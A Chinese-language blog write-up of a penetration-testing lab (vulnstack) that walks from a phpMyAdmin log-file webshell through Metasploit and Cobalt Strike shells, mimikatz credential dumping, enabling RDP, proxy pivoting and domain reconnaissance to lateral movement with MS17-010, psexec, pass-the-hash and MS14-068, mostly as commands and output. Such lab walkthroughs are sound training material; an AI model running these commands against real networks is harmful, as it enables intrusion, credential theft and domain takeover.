地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

主要以该环境讲解内网渗透的技术。

拓扑图如下:

1.png

Web服务器(Windows7):

192.168.10.14 、192.168.52.143

主机名:stu1

域成员主机(Windows Server 2003):192.168.52.141

主机名:root-tvi862ubeh

域控(Windows Server 2008):

192.168.52.138

主机名:owa

其中,Web服务器的192.168.10.14模拟公网地址,我们可以直接访问192.168.10.14。但是我们访问不了192.168.52.0网段。

0x01 拿下Web服务器

本文主要是讲内网渗透方面,所以关于怎么拿下Web服务器,比较粗略的过。
说下我们对Web服务器的思路吧。在红蓝对抗中,拿到了入口站点,我们首先会想办法获取入口点的shell,再以此挂隧道通内网。而拿shell无非是上传木马、SQL注入、反序列化。而在很多网站的登录后台后,会存在文件上传漏洞,进而getshell。

访问Web服务器地址:http://192.168.10.14/yxcms/

它是一个yxcms的站点

2.png

对于yxcms我也不熟悉,之前没接触过。拿到目标第一先用御剑扫描下后台吧

3.png

4.png

发现phpmyadmin后台登录地址:http://192.168.10.14/phpmyadmin/

发现一个压缩包文件,该文件是网站的压缩包文件:http://192.168.10.14/beifen.rar

发现phpinfo文件:http://192.168.10.14/phpinfo.php

发现一些比较敏感的目录,这些目录都存在目录遍历漏洞

http://192.168.10.14/yxcms/robots.txt
http://192.168.10.14/yxcms/data/
http://192.168.10.14/yxcms/public/
http://192.168.10.14/yxcms/upload/
http://192.168.10.14/yxcms/protected/

5.png

phpmyadmin后台getshell

对phpmyadmin后台进行爆破,得到账号密码:root/root

6.png

进入phpmyadmin后台后,获取shell。传送门:phpmyadmin爆破和后台getshell

这里由于 secure_file_priv的值为NULL,所以我们不能利用写into outfile写木马getshell。

7.png

这里我们利用日志文件Getshell。传送门:phpmyadmin利用日志文件Getshell

执行以下命令

set global general_log=on;                                     #开启日志
set global general_log_file='C:/phpstudy/www/yxcms/hack.php';  #设置指定文件为网站日志存放文件
SELECT '<?php eval($_POST["cmd"]);?>' 

最后用菜刀连接,如下。

8.png

0x02 后渗透第一步

在拿到了Web服务器的权限后,我们就要尽可能多的搜集该服务器的信息,然后搭建隧道通往内网!

执行以下命令我们知道当前的用户身份是 administrator ,在管理员组中,并且处在域 god 中。该主机有两张网卡

分别是:192.168.10.14,192.168.52.143。

由此可知,其实获得的这个权限就是域管理员权限。(搞不懂环境为啥要以域管理员账号登录,为啥不以本地普通用户登录??)

9.png

10.png

现在我们想反弹一个MSF的shell。将MSF生成的木马上传到该主机上,执行,反弹成功!

11.png

派生CobaltStrike权限

首先在CobaltStrike上开启一个监听

12.png

然后在MSF中执行以下操作,我们的CobaltStrike就接收到反弹过来的shell了。

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true   #默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,所以这里我们设置为true
set lhost xxxx                 #cobaltstrike监听的ip
set lport 14444                 #cobaltstrike监听的端口 
set session 1                   #这里是获得的session的id
exploit

13.png

获得System权限

这里由于获得的直接是adminsitrator权限,所以可以直接提到system。在真实环境中,这里很多时候都是一个普通用户权限,需要我们去提权。

14.png

获取账号密码

1:导出hash

run hashdump

15.png

2:导出hash

run windows/gather/smart_hashdump

16.png

3:加载 kiwi模块

这里尝试加载kiwi模块,获取不到账号密码

load kiwi
creds_all

17.png

4:加载 mimikatz 模块

再尝试加载 mimikatz 模块,加载模块前需要先将meterpreter迁移到64位的进程,而且该进程也需要是system权限运行的。

如图,成功获得账号密码:administrator/[email protected]

migrate PID
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords

18.png

远程桌面登录

这里我们已经获得了administrator的账号和密码,现在我们既可以使用administrator账号登录,也可以新建账号登录(hack/[email protected])。(不建议直接用administrator身份登录,因为这样有可能会惊动管理员)

19.png

通过nmap扫描发现该主机的3389端口呈过滤状态,由此猜想可能是防火墙将该端口过滤了

20.png

于是执行以下命令开启3389端口

run post/windows/manage/enable_rdp

21.png

再次探测发现3389端口已是open状态

22.png

尝试3389远程登录该主机,但是弹出如果我们继续登录,则会断开该主机的当前连接。为了不惊动管理员,这里我们不继续连接了。

23.png

添加路由、挂Socks4a代理

添加路由的目的是为了让我们的MSF其他模块能访问内网的其他主机

添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务

注:添加路由一定要在挂代理之前,因为代理需要用到路由功能

#添加路由
route add 0.0.0.0 0.0.0.0 1
run print

#添加socks4a代理
use auxiliary/server/socks4a
run
#然后打开/etc/proxychains.conf,加入下面一行
socks4 0.0.0.0 1080

#然后就可以使用nmap了
proxychains nmap -p 21 -Pn -sT x.x.x.x     #在打开其他程序前加上proxychains

24.png

25.png

我们也可以在本机设置socks4代理,指向我们vps的1080端口。那么,我们本地的流量就会交给VPS的1080端口,而1080端口是MSF起的,MSF又添加了到内网的路由,自然我们就可以访问到内网的主机。

26.png

这里我实测用MSF挂的socks4a代理并不稳定,建议实战环境用 FRP 起的 socks5 代理,这里我为了省事直接用MSF的socks代理。其实新版的MSF也有了socks5代理,不过好像也不是很好用。

域信息收集

net time /domain        #查看时间服务器
net user /domain        #查看域用户
net view /domain        #查看有几个域
net group "domain computers" /domain         #查看域内所有的主机名
net group "domain admins"   /domain          #查看域管理员
net group "domain controllers" /domain       #查看域控

从域信息收集可以得到以下信息:

域:god.org
域内有三个用户:administrator、ligang、liukaifeng01
域内有三台主机:
DEV1(不在此环境中)
ROOT-TVI862UBEH(192.168.52.141)
STU1(192.168.52.143)
域控:OWA(192.168.52.138)
域管理员:administrator

由此可见,我们现在获得的即是域管理员权限。此环境内还有一台ROOT-TVI862UBEH(192.168.52.141)和域控OWA(192.168.52.138)。

27.png

28.png

0x03 内网主机信息收集

我们现在想进行内网横向渗透,就需要收集更多的信息,内网渗透信息收集是非常重要的一步。

由于我们之前添加了路由信息并且挂了Socks4a代理,所以我们现在可以使用MSF里面的探测模块以及nmap对内网进行探测。

内网存活主机探测

这一步在域环境渗透中可以省略,因为使用域命令可以直接查询域中有哪些主机。在非域环境中渗透,可以使用这一步。

在这里顺带提一下这个用法。更多的关于使用MSF进行内网探测,传送门:后渗透阶段之基于MSF的内网主机探测

auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname         #基于netbios协议发现内网存活主机

29.png

30.png

31.png

内网存活主机端口扫描

1:使用MSF自带模块进行端口探测

auxiliary/scanner/portscan/tcp   #基于tcp进行端口扫描(默认扫描1-10000)

32.png

2:使用 proxychains 代理链利用 nmap 对内网主机进行端口探测

33.png

内网存活主机服务探测

auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version            #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version      #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp                #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version          #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title                 #探测内网http服务的标题
auxiliary/scanner/smb/smb_version            #发现内网smb服务,基于默认的445端口   
auxiliary/scanner/mssql/mssql_schemadump     #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump     #发现内网oracle服务,基于默认的1521端口 
auxiliary/scanner/mysql/mysql_version        #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner            #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server         #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version            #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname             #探测内网主机的netbios名字

34.png

经过了以上几步,我们就可以大致判断内网存活的主机、主机开放的端口以及服务这些基本信息了。

0x04 内网横向渗透攻击技巧

在对内网主机进行信息收集后,接下来我们就是要对内网主机发动攻击了。内网攻击方法有下面这些。

MS17-010

永恒之蓝在内网渗透中是屡试不爽的,基本上一打一大片。但是MS17-010在实际红蓝对抗渗透中(通过代理打内网)并不好利用,MSF中自带的模块要打很多次才能成功一次,而且MSF自带的模块打sever2003的机器很容器蓝屏。注意这里的payload必须设置为正向连接 bind_tcp。

如下,第一次打就没打成功。

35.png

36.png

CVE-2019-0708

该漏洞是今年爆出的一个windows RDP协议的漏洞,但是测了一下,发现该主机不存在该漏洞。另外,该漏洞成功率也不高,而且极有可能把目标机打成蓝屏的结果。所以在真实红蓝对抗中不建议使用该漏洞,除非有百分百的把握能打成功.

37.png

38.png

psexec攻击

我们已经获得了域管理员 god/administrator 的账号密码,我们现在可以使用该域管理员账号密码利用 psexec 登录域内任何一台开启了admin$共享(该共享默认开启) 的主机。

注:由于提示需要修改密码,所以已将 god/administrator 的密码改为 [email protected]

psexec.exe \\192.168.52.138 -u god\administrator -p [email protected] cmd

39.png

但是在连接 Server2003服务器 的时候出了点小问题,提示服务没有及时响应启动或控制请求。

40.png

哈希传递攻击

在域环境内,只有获得了域管理员的哈希才可以攻击。这里假设我们得到了域管理员administrator的哈希,但是没有得到明文密码。在这里我们就可以用哈希传递攻击了。

在前面获得了域管理员 administrator 的NTLM哈希为:c456c606a647ef44b646c44a227917a4

sekurlsa::pth /user:administrator /domain:"god.org" /ntlm:c456c606a647ef44b646c44a227917a4

41.png

MS14-068

MS14-068漏洞适用于当我们获得了普通域用户的哈希,域控存在MS14-068漏洞的场景。我们现在想利用获得了普通域用户哈希去访问域控。
但是这里我们是直接获得了域管理员的哈希,这里只是演示下MS14-068漏洞的攻击手法

先获取需要利用的域用户的SID值

42.png

#生成票据[email protected]
MS14-068.exe -u [email protected] -p [email protected] -s S-1-5-21-2952760202-1353902439-2381784089-500 -d 192.168.52.138      #MS14-068.exe -u 域用户 @dog.org -p 域用户密码 -s 域用户的SID -d 域控ip

#在mimikatz中导入票据
kerberos::ptc  [email protected]的路径

然后再打开一个cmd窗口尝试访问域控
dir \\192.168.52.138\c$

43.png

标签: 红蓝对抗, 内网渗透实战技巧

添加新评论